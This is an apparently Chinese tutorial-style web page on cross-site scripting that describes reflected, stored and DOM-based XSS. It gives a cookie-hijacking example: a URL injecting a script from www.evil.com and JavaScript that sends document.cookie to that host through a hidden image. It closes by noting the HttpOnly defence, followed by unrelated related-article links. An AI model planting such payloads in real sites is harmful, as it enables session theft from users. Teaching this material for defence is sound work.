类型一:反射型XSS

简单地把用户输入的数据“反射”给浏览器。也就是说,黑客需要诱使用户“点击”一个恶意链接,才能攻击成功。

类型二:存储型XSS

把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

类型三:DOM Based XSS

通过修改页面DOM节点形成的XSS,称之为DOM Based XSS。

XSS Payload:

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些完成各种具体功能的恶意脚本,被称为”XSS Payload“。

XSS Payload实际上就是JavaScript脚本。

Cookie劫持案例:

http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>

Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。在evil.js中,可通过如下代码窃取Cookie:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码在页面插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

Cookie的”HttpOnly“标识可以防止”Cookie劫持“。

XSS(Cross Site Script)的更多相关文章

  1. WebGoat学习——跨站请求伪造(Cross Site Request Forgery (CSRF))

    跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF))也被称为:one click at ...

  2. 跨站请求伪造(Cross Site Request Forgery (CSRF))

    跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Sit ...

  3. CSRF(Cross Site Request Forgery, 跨站域请求伪造)

    CSRF(Cross Site Request Forgery, 跨站域请求伪造) CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的 ...

  4. CSRF(Cross Site Request Forgery, 跨站请求伪造)

    一.CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一.其他安全隐患, ...

  5. phpcms某处储存型XSS(demo+本地演示)

    文章转载:http://www.myhack58.com/Article/html/3/7/2016/71726.htm 详细说明: demo+本地演示存在xss漏洞的地方在商务中心的商家资料的我的资 ...

  6. WPF 跨应用程序域的 UI(Cross AppDomain UI)

    为自己写的程序添加插件真的是一个相当常见的功能,然而如果只是简单加载程序集然后去执行程序集中的代码,会让宿主应用程序暴露在非常危险的境地!因为只要插件能够运行任何一行代码,就能将宿主应用程序修改得天翻 ...

  7. NGUI的输入框的校验(input filed script)

    一,我们制作一个输入框,右键添加Sprite ,给Sprite添加一个child的label,然后给Sprite添加一个box collider,接着添加input filed script,将lab ...

  8. NGUI的滚动条的制作(scroll bar script)

    一,我们添加一个sprite,添加一个box collider,然后添加一个scroll bar script,我们来看看scroll bar script的属性 看到background和forgr ...

  9. NGUI的下拉框的使用(popup list script)

    一,我们先添加一个sprite,选择sprite,右键选择attach,添加box collider, 然后右键选择attach,添加popup list script ,我们给popup list ...

随机推荐

  1. (第二章)改善JavaScript,编写高质量代码。

    建议34:字符串是非值操作 var a = "javascript"; var b = a; b = b.toUpperCase(); alert(a); //javascript ...

  2. attr全选第三次失效

    一功能checkbox时隐时现,比如第一次打开有勾选,第n次打开可能就不选了. 经过偶层层抽次剥茧(da da jiang you),终于知道了原因:attr()在二次选中勾选框时,失效. 比如,如下 ...

  3. javascript:apply方法 以及和call的区别 (转载)

    javascript:apply方法   1.        apply和call的区别在哪里 2.        什么情况下用apply,什么情况下用call 3.        apply的其他巧 ...

  4. App界面设计利器Sketch 精选案例合集

    第1章 课程介绍主要介绍课程的安排及你将学到哪些使用技巧 1-1 课程介绍第2章 sketch 实例及相关工具本节课你将学到钢笔工具的使用.渐变及填充.投影的使用,体会并观察实际中物品的光影与材质:模 ...

  5. 【gulp】Gulp的安装和配置 及 系列插件

    注意:要安装俩次gulp(全局和本地):全局安装gulp是为了执行gulp任务,本地安装gulp则是为了调用gulp插件的功能. 之前由大牛帮忙配置的gulp来用.今天时间充裕,就和小伙伴一起动手配置 ...

  6. 对象关系映射(ORM)

    1.什么是 对象-关系映射 对象-关系映射(Object Relational Mapping,简称ORM,对象关系映射)是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术. 简单的说,OR ...

  7. nor flash启动与nand flash启动的区别

    1)接口区别:NOR FLASH地址线和数据线分开,来了地址和控制信号,数据就出来.NAND Flash地址线和数据线在一起,需要用程序来控制,才能出数据.通俗的说,就是光给地址不行,要先命令,再给地 ...

  8. Python2.7在Windows下CMD编码为65001/utf-8时print报错[Errno 0]/[Errno 2]

    使用python2.7处理unicode的字符串,环境变量已设置PYTHONIOENCODING为utf-8,cmd编码为utf-8时print unicode字符串会报错[Errno 0]或[Err ...

  9. n进制转十进制

    #include<cstdio> #include<iostream> using namespace std; ; int main(){ ,len=; char ch[ma ...

  10. 开发自己的DataSet查看器

    记得在vs2002不是2003上没有DataSet调试器,断点时查看DataSet内容非常麻烦,最后有人开发了第三方工具解决了此问题. 后续的vs版本内部都自带的此工具可查看DataSet/DataT ...